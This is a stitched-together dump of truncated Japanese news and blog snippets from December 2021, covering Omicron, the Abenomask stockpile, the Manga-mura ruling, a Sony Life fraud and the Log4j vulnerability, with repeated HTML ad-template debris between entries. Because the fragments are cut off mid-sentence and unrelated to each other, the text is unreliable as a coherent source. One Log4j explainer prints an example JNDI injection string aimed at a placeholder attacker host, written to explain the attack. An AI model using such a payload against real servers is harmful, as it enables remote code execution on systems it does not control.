21世紀は自動運転車の登場や火星探査の進展、新たな伝染病に対する迅速なワクチン開発など、多くの科学分野で目覚ましい進歩が見られた一方、依然として「時代遅れの科学的神話」も残っているとのこと。そこで、多くの人々が抱いている「脳に関する3つの科学的神話」について、「バレット博士の脳科学教室 7 1/2章」などの著作で知られるノースイースタン大学の心理学教授、リサ・フェルドマン・バレット氏が解説しています。 That Is Not How Your Brain Works - Issue 111: Spotlight - Nautilus https://nautil.us/issue/111/spotlight/that-is-not-how-your-brain-works ◆神話1：人間の脳は特定の機能を持つパーツの組み合わせでできている 脳は機能ごとに「視覚を担当するパーツ」「記憶を担当

世界中で警戒が強められている新型コロナウイルスの新しい変異株「オミクロン」。 大阪や京都府で市中感染が確認され、いよいよ日本でも広がりが加速することを覚悟しなければならなくなった。 一方で、忘年会で飲食店はどこもいっぱいで、これから年末にかけて帰省や旅行を考えている人も多い。ワクチンの効果も薄れ始めている中、私たちは今、オミクロンにどう向き合えばいいのだろう。 BuzzFeed Japan Medicalは、京都大学大学院医学研究科教授の理論疫学者、西浦博さんにオミクロンを専門家はどう見ているのか、聞いた。 ※インタビューは12月23日に行い、その時点の情報に基づいている。 専門家と一般の危機意識に大きなギャップーー久しぶりですが、西浦先生がメディアに出る時は危機が迫っている時だという印象があります。 2回の予防接種が高い接種率で完了して効いている状態で、しばらく平和だったからですね。この

HAL@古き悪しき時代大好き侍 @HAL9152 アニメや漫画に出てくる幼馴染キャラは、突発的に現れる「おもしれー女」に負けることが多いです。 幼馴染という最高のポテンシャルを持ちながら、なぜ幼馴染はおもしれー女に負けてしまうのか。 この法則は「要塞」と「よく機動する軍隊」の違いからヒントを得ることが出来ます(続 pic.twitter.com/Km4wrNh6f3 2021-12-24 07:55:26

ソニー生命社員の男が子会社の金170億円をだまし取ったとされる事件で、警視庁の依頼を受けたアメリカ連邦捜査局・FBIが被害金を全額押収したことが分かりました。被害金はビットコインに換えられ、およそ207億円に値上がりしていました。今後、当初の被害金170億円はソニー生命に返還される予定ですが、値上がりした30億円分がどうなるのかは明らかになっていません。 今年5月、ソニー生命の子会社で、イギリス領バミューダ諸島にある再保険事業「エスエー・リインシュアランス」の銀行口座からおよそ1億5500万ドル、日本円でおよそ170億円がアメリカの銀行の口座に不正に送金されているのが発覚しました。 ソニー生命はすぐに警視庁に相談し、被害届を受理した警視庁は先月29日、ソニー生命の社員で石井伶被告（32）をおよそ170億円を不正に送金しだまし取った詐欺の疑いで逮捕しました。石井被告は今月20日、起訴されまし

","naka5":"<!-- BFF501 PC記事下（中⑤企画）パーツ＝1541 -->","naka6":"<!-- BFF486 PC記事下（中⑥デジ編）パーツ＝8826 --><!-- /news/esi/ichikiji/c6/default.htm -->","naka6Sp":"<!-- BFF3053 SP記事下（中⑥デジ編）パーツ＝8826 -->","adcreative72":"<!-- BFF920 広告枠）ADCREATIVE-72 こんな特集も -->\n<!-- Ad BGN -->\n<!-- dfptag ＰＣ誘導枠５行 ★ここから -->\n<div class=\"p_infeed_list_wrapper\" id=\"p_infeed_list1\">\n <div class=\"p_infeed_list\">\n <div class=\"

２年ぶりの死刑執行に、日弁連や人権団体などからは批判や落胆の声が上がった。日本政府はあくまで死刑制度存続の方針だが、世界では約７割の国が死刑を廃止か停止している。国際的な潮流に逆行する日本にさらに厳しい視線が集まるのは必至だ。 「小野川さんを捜しましたが、いませんでした」。２１日午前、東京拘置所で小野川光紀元死刑囚への接見を申し込んだ弁護人の岩井信弁護士に、職員は淡々と告げたという。再審請求中の死刑執行に「裁判を受ける権利の侵害。裁判は『ない』ということだ」と怒りをあらわにした。 国際人権団体アムネスティ・インターナショナル日本は「外交では人権を守り抜くとしながら、人権をないがしろにする岸田政権の姿勢の表れ」と批判。アムネスティによると、死刑を実質廃止した国は昨年までに約１４０に上り、存置する５５カ国でも実際に執行しているのは中東、東アジアなど毎年２０カ国程度にとどまる。

","naka5":"<!-- BFF501 PC記事下（中⑤企画）パーツ＝1541 -->","naka6":"<!-- BFF486 PC記事下（中⑥デジ編）パーツ＝8826 --><!-- /news/esi/ichikiji/c6/default.htm -->","naka6Sp":"<!-- BFF3053 SP記事下（中⑥デジ編）パーツ＝8826 -->","adcreative72":"<!-- BFF920 広告枠）ADCREATIVE-72 こんな特集も -->\n<!-- Ad BGN -->\n<!-- dfptag ＰＣ誘導枠５行 ★ここから -->\n<div class=\"p_infeed_list_wrapper\" id=\"p_infeed_list1\">\n <div class=\"p_infeed_list\">\n <div class=\"

外国籍の住民にも開かれた武蔵野市の住民投票条例案が市議会本会議で否決された。外国人参政権について研究してきた近藤敦・名城大教授（憲法学）に話を聞いた。 ◇ 外国籍の住民の参加を「在留期間3年以上」などに絞るべきだという反対派の主張には一定の説得力があった。 だが、参加そのものを「違憲の疑い」「国益を損なう」と批判した反対派の主張はこじつけで、普遍性に欠けていた。 今回、首都東京の中にある市で外国人の参加を認める住民投票条例案が否決されたことで、日本は閉鎖的な国だという印象を海外に与える恐れがあるだろう。 折しも、米ニューヨーク市は市議会が今月、就労許可証を持つ外国人に、30日以上の居住を条件に地方選挙権を認めたばかりだ。 私の調べでは、何らかの形で外国人に地方選挙権を認める国は韓国など65に及ぶ。地方自治に外国人を参加させる動きはすでに国際的に広がっている。 武蔵野市は今後、「在留期間3年

","naka5":"<!-- BFF501 PC記事下（中⑤企画）パーツ＝1541 -->","naka6":"<!-- BFF486 PC記事下（中⑥デジ編）パーツ＝8826 --><!-- /news/esi/ichikiji/c6/default.htm -->","naka6Sp":"<!-- BFF3053 SP記事下（中⑥デジ編）パーツ＝8826 -->","adcreative72":"<!-- BFF920 広告枠）ADCREATIVE-72 こんな特集も -->\n<!-- Ad BGN -->\n<!-- dfptag ＰＣ誘導枠５行 ★ここから -->\n<div class=\"p_infeed_list_wrapper\" id=\"p_infeed_list1\">\n <div class=\"p_infeed_list\">\n <div class=\"

「漫画村」ネット広告は不法　代理店に１１００万円賠償命令―東京地裁 2021年12月21日18時56分 東京地裁（裁判所合同庁舎）＝東京都千代田区 海賊版サイト「漫画村」に無断で著作を掲載された漫画家の赤松健さんが、同サイトに掲載する広告を募った代理店２社に対し、１１００万円の損害賠償を求めた訴訟の判決が２１日、東京地裁であった。田中孝一裁判長は２社が不法行為をしていたと認定し、請求全額の賠償を命じた。 「漫画村」運営者に実刑　海賊版サイト収入「犯罪収益」―福岡地裁 赤松さんの代理人弁護士によると、漫画の海賊版サイトに関わる広告代理店の責任を認めた判決は初めて。 赤松さんが提訴したのはインターネット広告代理店の「エムエムラボ」（横浜市）と親会社の「グローバルネット」（東京都大田区）。判決によると、漫画村では２０１７年６月以降、赤松さんの著作である「魔法先生ネギま！」と「ＵＱ　ＨＯＬＤＥＲ！

海賊版サイト「漫画村」への広告出稿をあっせんしていた広告代理店「エムエムラボ」（神奈川県横浜市／齋藤央論代表）と「グローバルネット」（東京都大田区／村木和彦代表）に対して東京地裁は12月21日、著作物の無断掲載で被害を受けた漫画家に対して1100万円の支払いを命じました。原告は『魔法先生ネギま！』などで知られる赤松健さん。 エムエムラボとグローバルネット 赤松さんは、漫画村に『魔法先生ネギま！』『UQ HOLDER!』といった作品を無断で掲載されており、2作品の印税のうち1％程度が被害額だったとしても「その損害額は1000万円を下ることがない」と主張。 漫画村の広告取扱窓口会社となっていた「エール」と契約を結んでいた「エムエムラボ」と「グローバルネット」が、広告主→グローバルネット・エムエムラボ→エール→漫画村（運営者：星野ロミ）という流れで広告を掲載していたと2021年1月19日に提訴し

アベノマスク１１００万枚不良品　検品２０億円、在庫処理へ―参院本会議で岸田首相 2021年12月21日12時33分 参院本会議で答弁する岸田文雄首相＝２１日午前、国会内 参院は２１日の本会議で、岸田文雄首相と全閣僚が出席し、２０２０年度決算の概要報告と質疑を行った。安倍政権時代に新型コロナウイルス対策として配布した布マスク「アベノマスク」が大量に在庫となっている問題について、首相は「厚生労働省が検品を実施したところ、約７１００万枚のうち約１１００万枚、約１５％が不良品だった」と明らかにした。 アベノマスク、自治体・個人に配布　松野官房長官「在庫解消へ努力」 立憲民主党の杉尾秀哉氏への答弁。首相は厚労省や納入事業者の検品費用などとして新たに計２０億９２００万円を要したと説明。在庫については「介護施設などへの随時配布をはじめ、費用対効果の観点から適切な策を検討していきたい」と述べ、処理を進める

岸田文雄首相は２１日、記者会見を開き、新型コロナウイルス対策として配布した「アベノマスク」の在庫について、希望者に配布して有効活用した上で「年度内をめどに廃棄を行うよう指示した」と述べた。

倉庫に保管されている、国が用意した大量の布マスク＝東京近郊で2021年12月1日午後2時33分、大西岳彦撮影 大量在庫が問題となっている布マスク「アベノマスク」に関し、岸田文雄首相が表明した2021年度中の廃棄に数千万円の経費がかかる可能性があることがわかった。複数の政府関係者が明らかにした。20年8月から21年3月までの保管料は6億円に達しており、首相周辺は「廃棄した方が費用対効果はいい」と理解を求めている。 新型コロナウイルス対策で安倍政権が20年に調達したアベノマスクは、約8000万枚が余剰在庫になっている。首相官邸関係者によると、マスクは「国有財産」として扱われるため、廃棄業者の選定には入札などの手続きが必要になる。廃棄費用は確定していないが、この関係者は「数千万円単位だろう」と見込む。

捨てるも地獄、残すも地獄の“アベノマスク” 岸田首相の本音は「捨ててしまいたい」！？【官邸キャップ解説】 ■「いつまで８０００万枚のマスクを保管し続けるんだ！」 臨時国会も残りわずか。この国会ではにわかに“アベノマスク”論争が再燃した。すっかり言葉が定着してしまったが、安倍元総理が去年の４月、緊急のコロナ対策として、すべての家庭に「１世帯２枚」を配布したあの布マスクのことだ。 「いつ在庫がはけるのかわからないのに在庫を抱え続けるのか？」 予算委員会で立憲民主党の代表代行、逢坂誠二氏は舌鋒鋭く、後藤厚労大臣に迫った。 「有効活用として希望する自治体に配布するほか、災害備蓄、地域住民への配布などで活用していく」－。 ばつが悪そうな後藤大臣はあくまでも今後も有効に活用していく方針を示した。 現在“アベノマスク”は都内の大手物流会社の倉庫に８０００万枚以上が眠っている。当時１枚およそ１４０円という

約8000万枚もの在庫を抱え、これまでに約6億円の保管費がかかっている政府調達の布マスクを、国が希望する自治体に...

","naka5":"<!-- BFF501 PC記事下（中⑤企画）パーツ＝1541 -->","naka6":"<!-- BFF486 PC記事下（中⑥デジ編）パーツ＝8826 --><!-- /news/esi/ichikiji/c6/default.htm -->","naka6Sp":"<!-- BFF3053 SP記事下（中⑥デジ編）パーツ＝8826 -->","adcreative72":"<!-- BFF920 広告枠）ADCREATIVE-72 こんな特集も -->\n<!-- Ad BGN -->\n<!-- dfptag ＰＣ誘導枠５行 ★ここから -->\n<div class=\"p_infeed_list_wrapper\" id=\"p_infeed_list1\">\n <div class=\"p_infeed_list\">\n <div class=\"

新型コロナウイルス対策で政府が昨年、全戸配布した「アベノマスク」など布製マスク８０００万枚以上が引き取られず、東京近郊の倉庫で眠っている。昨年８月から流浪の旅を続け、この倉庫にたどり着いた。これまでの保管費用は６億円を超え、今後もさらにかさんでいく。会計検査院からも注意を受けた。税金の無駄はやめてもらいたい。もったいないようにも感じるけど、やはり捨てるしかないのでは。（荒井六貴）

正直、いい加減にしてほしいって気持ちがあるんだけれど、この【デマ】の経緯についてちゃんと書いたことがなかったので書いておきます。 毎日新聞のカビマスクの画像の出所は厚労省 まずですが、毎日新聞が報じた記事というのは4月21日の「虫混入、カビ付着…全戸配布用の布マスクでも不良品　政府、公表せず」であり、そして画像とは以下のもの。 さて、こちらの画像については後述しますが報じられた直後からその画像の真偽に対して疑問の声が上がりました。キャプションには「関係者提供」とあり（ちなみにこの「関係者提供」初報段階ではついておらず後から付きました）、そしてこの画像の出所が明らかでない事、そして似たようなカビマスクの報告がなかったことからなど、他の理由もあるもののそれによってこのカビマスクの画像は捏造だという声が一部で上がりました。ただ、以前にも「全戸配布用布マスク（アベノマスク）の不良品（カビ等）は毎日

令和３年１１月５日、岸田総理は、総理大臣官邸で会計検査院の森田祐司（ゆうじ）院長から令和２年度決算検査報告を受け取りました。 もっと見る

会計検査院は5日、国の2020年度決算の検査報告を岸田文雄首相に提出した。税金の無駄遣いや、資産を有効活用できていない状況を指摘したのは210件で、総額約2108億円だった。新型コロナウイルス対策事業を巡る検査では、約22兆円が未執行になっており、政府が調達した布製マスクが大量保管されるなどしていた実態も判明した。210件の指摘件数は1994年以降で最少で、コロナの感染拡大によって実地検査が制

会計検査院は５日、官庁や政府出資法人を調べた２０２０年度決算検査報告を岸田文雄首相に提出した。税金の無駄遣いを指摘し、改善を求めたのは２１０件、総額２１０８億７２３１万円。新型コロナウイルス対策費を検証し、国が調達した布製マスクの大量保管や持続化給付金事業の再委託など、ずさんな契約や管理の実態が判明した。 検査院は不適切な契約状況に懸念を示したが、緊急性を考慮して無駄遣いがあったとの指摘は見送り、報告で「適切な実施に努め、国民に広く情報提供をしてほしい」と述べた。

磯崎仁彦官房副長官は27日午前の記者会見で、新型コロナウイルスの対策として、政府が介護施設などに配るために調達した布マスク約1億4千万枚のうち、約8300万枚が倉庫に保管され、保管費用が約6億円に上ったことを認めた。 政府は2020年3月以降、全世帯向けの布マスク、通称「アベノマスク」のほか、介護施設など向けに布マスクを配布した。日本経済新聞が27日付朝刊で、介護施設などに配るために調達したマスクが倉庫に保管され、昨年8月～今年3月の保管費用が約6億円に上っていることなどを報じ、磯崎氏は会見で「おおむね事実」と認めた。 磯崎氏は「当時の調達は、全世帯向けの必要な枚数、介護施設向けの必要な枚数を想定して調達した」と説明。その上で、「全世帯向けは全て配布されたと承知しているが、介護施設向けは配布方法が一律の配布から希望に応じた随時配布に見直した」とし、「調達等について特に問題があったと考えてい

新型コロナウイルスの対策事業について会計検査院が検査し、介護施設などに配るため政府が調達した布マスク約1億4千万枚のうち、今年3月末時点で約8200万枚（約115億円相当）が倉庫に保管されていたことが26日、関係者への取材で分かった。昨年8月～今年3月の保管費用が約6億円に上ることも判明した。政府は2020年3月以降、全世帯向けのいわゆるアベノマスク約1億2千万枚と、介護施設や保育所用などとし

www.jpcert.or.jp piyolog.hatenadiary.jp 先週は Apache Log4j の脆弱性問題が大きな話題となった……と過去形で書いてはいけないのかもしれない。危機はまだ続いている。 今回、脆弱性の破壊力のヤバさとともにクローズアップされたのは、今日、多くのビジネスの生命線となっているオープンソースソフトウェアのメンテナンスが、無報酬であり感謝されない仕事になっており、「オープンソースは壊れている」んじゃないの？ という問題である。 20年以上みんなずっと同じ話してるなと思ってしまうが、オープンソースが壊れている、壊れていないの話がやたらに流れている。この文脈ならフリーソフトウェアの時代からずっと壊れてるんだよ。それでも動いているのは自由だからだよ。— Shuji Sado (佐渡 秀治) (@shujisado) December 14, 2021 dev

１２月２２日、中国の規制当局は、電子商取引（ＥＣ）大手アリババ・グループのクラウドサービス子会社「阿里雲（アリババ・クラウド・コンピューティング）」との情報共有パートナーシップを停止した。写真はアリババのオフィス。２０２１年１月に北京で撮影（２０２１年　ロイター/Thomas Peter） ［北京／香港　２２日　ロイター］ - 中国の規制当局は２２日、電子商取引（ＥＣ）大手アリババ・グループのクラウドサービス子会社「阿里雲（アリババ・クラウド・コンピューティング）」との情報共有パートナーシップを停止した。サイバーセキュリティー上の脆弱性を迅速に報告・対処しなかったことを非難している。政府系メディアが伝えた。 ２１世紀経済報道が工業情報省による最近の通知を基に伝えたところによると、阿里雲は人気の高いオープンソースのロギングフレームワーク「Ａｐａｃｈｅ Ｌｏｇ４ｊ２」の脆弱性を中国当局に直ちに

by phphoto2010 Javaライブラリ・Apache Log4j・に存在するゼロデイ脆弱(ぜいじゃく)性「Log4Shell」を発見しApacheに報告したAlibaba Cloudのセキュリティチームについて、中国政府が「最初に政府に報告しなかった」ことを理由にペナルティを課したことがわかりました。 Apache Log4j bug: China’s industry ministry pulls support from Alibaba Cloud for not reporting flaw to government first | South China Morning Post https://www.scmp.com/tech/big-tech/article/3160670/apache-log4j-bug-chinas-industry-ministry-pul

Java向けログ出力ライブラリ「Apache Log4j」（Log4j）で12月10日に判明した脆弱性を巡り、中国の行政機関である中国工業情報化部はこのほど、提携関係にあるアリクラウド（阿里雲）が脆弱性情報を発見後すぐに報告しなかったとして6カ月間の提携停止処分とした。中国の報道機関・21世紀経済報道が23日報じた。 問題となっているLog4jの脆弱性は、アリクラウドが発見したとされている。中国工業情報化部・ネットワーク安全管理局は、同社がこの脆弱性を米Apache Software Foundation（ASF）に報告した一方で、同局にはすぐに報告しなかったとしている。同局は別の情報セキュリティ機関からこの脆弱性の報告を受け、ASFに修正を促したという。 中国は「ネットワーク安全法」の第25条で「ネットワーク事業者は脆弱性など情報セキュリティ上のリスクが発生した場合、緊急対応を直ちに開始

christine.websiteのブログより。 または: お金を払わない限り、有用なソフトウェアを書かないのか? 最近、重要なJavaエコシステム・パッケージに大きな脆弱性が見つかりました。この脆弱性が完全に兵器化されると、攻撃者はLDAPサーバから取得した任意のコードを実行するよう、Javaサーバを強制することができます。 <マラ> もしこれがニュースで、あなたがJavaショップで働いているなら、残念ですが、あなたには2、3日が待っています。 私は、これが「オープンソース」ソフトウェアの主要なエコシステム問題の全ての完璧な縮図だと考えています。log4j2が、この問題の最悪のシナリオの1つの完璧な例であると思うので、このすべてについていくつか考えを持っています。この問題に関与したすべての人が、現実世界の問題に対する完全に妥当な解決策のためにこれらすべてを行ったことは完全に合理的であり、

JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

2021年12月10日、Javaベースのログ出力ライブラリ「Apache Log4j」の2.x系バージョン（以降はLog4j2と記載）で確認された深刻な脆弱性を修正したバージョンが公開されました。セキュリティ関係組織では過去話題になったHeartbleedやShellshockと同レベルの脆弱性とも評価しています。ここでは関連する情報をまとめます。 １．何が起きたの？ Javaベースのログ出力ライブラリLog4j2で深刻な脆弱性（CVE-2021-44228）を修正したバージョンが公開された。その後も修正が不完全であったことなどを理由に2件の脆弱性が修正された。 広く利用されているライブラリであるため影響を受ける対象が多く存在するとみられ、攻撃が容易であることから2014年のHeartbleed、Shellshock以来の危険性があるとみる向きもあり、The Apache Software

米国時間の12月9日ごろから、Java用のログ出力ライブラリ「Apache Log4j」におけるリモートコード実行の脆弱性が話題になっています。広く普及しているライブラリに致命的な問題が見つかったことで、影響範囲の大きさが心配されます。 Log4jはJavaプログラムからログを出力するときに使われる定番のライブラリです。開発者がLog4jを使ってログを出力していれば、運用担当者は設定ファイルを利用してログの出力先をファイルからメール送信に変えるといったことが可能になります。 最初のバージョンがリリースされたのは2001年となっており、筆者の記憶では少なくとも2004年くらいにはJavaによる業務システムの案件で使っていました。他のプログラミング言語にも似たような名前で移植されています。 今回の脆弱性（CVE-2021-44228）は2014年に出たバージョン2以降が対象となっており、現在稼

Initial Publication Date: 2021/12/10 7:20 PM PDT All updates to this issue have moved here. AWS is aware of the recently disclosed security issue relating to the open-source Apache “Log4j2" utility (CVE-2021-44228). We are actively monitoring this issue, and are working on addressing it for any AWS services which either use Log4j2 or provide it to customers as part of their service. We strongly en

免責事項 こちらの記事で紹介する内容は、教育目的または脆弱性について仕組みを理解し周知、啓発を行うためだけに作成しております。 ぜったいに、悪用しないでください。 記載されているコードを実行した場合に発生した損害には一切責任を負いません。 理解される方のみ下にスクロールしてください。 経緯 2021/12/9にて、超有名なログ出力ライブラリであるlog4jの第2世代で任意コードが実行可能であると報告されました。 Apache Log4j2 jndi RCE#apache #rcehttps://t.co/ZDmc7S9WW7 pic.twitter.com/CdSlSCytaD — p0rz9 (@P0rZ9) December 9, 2021 ※上記は特定の文字列をログ出力させることで、ペイントツール(draw.exe)を実行している Minecraft(Java版)のチャット機能にてこ

Log4j で強めな脆弱性が発見されました。 詳細は省きますが、ある条件可で任意のコードが実行できるような脆弱性です。 mavenのリポジトリによってはまだ2.15.0のバージョンが上がっていないようで、少し手こずったので記事にします。 (2021/12/10 13時時点) ※自分が所属するログラスでも依存しているライブラリでしたが、今はすでに修正とリリースが完了しています。 影響ライブラリと影響バージョンは log4j-api と log4j-core の　2.0 <= Apache log4j2 <= 2.14.1　です。 対応としては 2.15.0 に上げればいいそうです。 しかし、2021/12/10 13時現在Mavenのサイトでは2.15.0が上がっていないように見えます。 しかし、こちらの repo1.maven.orgのリポジトリにはあるそうで、素直に2.15.0を指定すれ

Webセキュリティ製品などを手掛ける米LunaSecの報告によると、Minecraftの他、ゲームプラットフォームのSteamやAppleの「iCloud」もこの脆弱性を持つことが分かっており、影響は広範囲に及ぶと考えられるという。 この脆弱性の影響があるのは、Log4jのバージョン2.0から2.14.1までと当初みられていたが、Log4jのGitHub上の議論では、1.x系も同様の脆弱性を抱えていることが報告されている。対策には、修正済みのバージョンである2.15.0-rc2へのアップデートが推奨されている。 セキュリティニュースサイト「Cyber Kendra」によれば、この脆弱性に対して付与されるCVE番号は「CVE-2021-44228」という。 脆弱性の報告を受け、Twitter上ではITエンジニアたちが続々反応。「やばすぎる」「思っていたよりずっとひどいバグだった」「なぜこんな

Summary Log4j versions prior to 2.16.0 are subject to a remote code execution vulnerability via the ldap JNDI parser. As per Apache's Log4j security guide: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can ex

Originally Posted @ December 9th & Last Updated @ August 1st, 3:30pm PDT Fixing Log4Shell? Claim a free vulnerability scan on our dedicated security platform and generate a detailed report in minutes. What is it?​On Thursday, December 9th a 0-day exploit in the popular Java logging library log4j (version 2), called Log4Shell, was discovered that results in Remote Code Execution (RCE) simply by log

こんにちは、square1001 です。 現在は東京大学の学部 1 年生をしています。私は中学 1 年の頃からプログラミングをやっていて、特にアルゴリズムが大好きです。AtCoder をはじめとする 競技プログラミング にも取り組んでいて、中高生のときは 情報オリンピック にも参加していました。 本記事では、アルゴリズムや競技プログラミングに興味がある方、あるいはプログラミングをやっているけどアルゴリズムをよく知らない方に アルゴリズムはどんなもので アルゴリズムを使うとどんな問題が解けて アルゴリズムが地球のように広く、多様で、奥深く、そして楽しいこと を知ってもらおうと思っています。 アルゴリズムの世界へようこそ 時代は 2020 年代に突入し、急速に IT 化 や DX が進んでいく中で、問題を効率的に解くアルゴリズム技術の重要性が、ますます高まっています。そして、アルゴリズムは、世

メリークリスマス！heyでCTOをやっている藤村です。ということで、これからエンジニアになる・いまエンジニアをしているみなさんに個人的に読んでほしい本をご紹介します。これを読んでおけばソフトウェア・エンジニアとして網羅的な基礎が身につく、とかいうセレクトではなく、あくまで個人的に読んでもらえると嬉しいな！というものを選びました。 ソフトウェア開発基礎編リー・コープランド『はじめて学ぶソフトウェアのテスト技法 』 テストの本です。昨今RSpec、XUnit系など自動テストのツールはすっかり普及し、ソフトウェアにテストコードをつけるのは当たり前の世の中になりました。しかし！テストケースをどう設計するか、何をテストすべきか、について体系的に学んだことがない、という方も実はいらっしゃるのでは。 この本はそういったソフトウェア・テスト一般についての教科書です。ここの知識はソフトウェア・エンジニアとし

そうした信念に基づいて出てきたのが自社株買い制限発言や金融所得課税見直しの公約だ。14日の衆院予算委員会で自社株買い制限の検討を求めた質問に対し岸田首相は「新しい資本主義を実現していくということから考えた時に、ご指摘の点は大変重要なポイント」と答えた。さらに「例えばガイドラインとか、そういったことは考えられないだろうかと思います」と続けた。 自社株買い規制に前向きともとれる発言に市場は敏感に反応し、株価は下落した。岸田首相はその後、公の場で自社株買い制限への考えを明らかにしていない。 「成長と分配の好循環」を掲げる岸田首相は、自民党総裁選の公約に格差是正策として金融所得課税の見直しを掲げた。就任後、株価下落や市場の批判を受けて2022年度税制改正での見直しは見送られたものの、将来的には「分配政策の選択肢の一つ」として残る。 政府はこれまで、国際金融都市構想を掲げ、税制見直しや海外人材を呼び

採用をしていると、 「この方は、「仕事やってるフリ」ばかりしてたのでは」 と感じるときがある。 特に、仕事の成果について聞くとき、これは顕著だった。 ＊ 例えば、前職がマーケティングの仕事だった、という方。 彼は、「コーポレートサイトを改善し、お客様に使いやすいサイトを実現しました。」とアピールしていた。 そこで、我々は 「具体的には、「使いやすい」とは何を意味しているのですか」と尋ねた。 彼は、戸惑ったような表情を見せたが 「見やすかったり、わかりやすかったり、という意味です。」 と言った。 なんとも、抽象的な話だ。 そこで、我々はもっと具体的な意見を求めるため、自分たちのコーポレートサイトを見せた。 「では、このサイトを見てアドバイスをいただきたいのですが、これは「見やすい」ですか？そうでないなら、具体的な改善事項を指摘してください。」と要求した。 しばらく後、彼はモゴモゴ何かを言って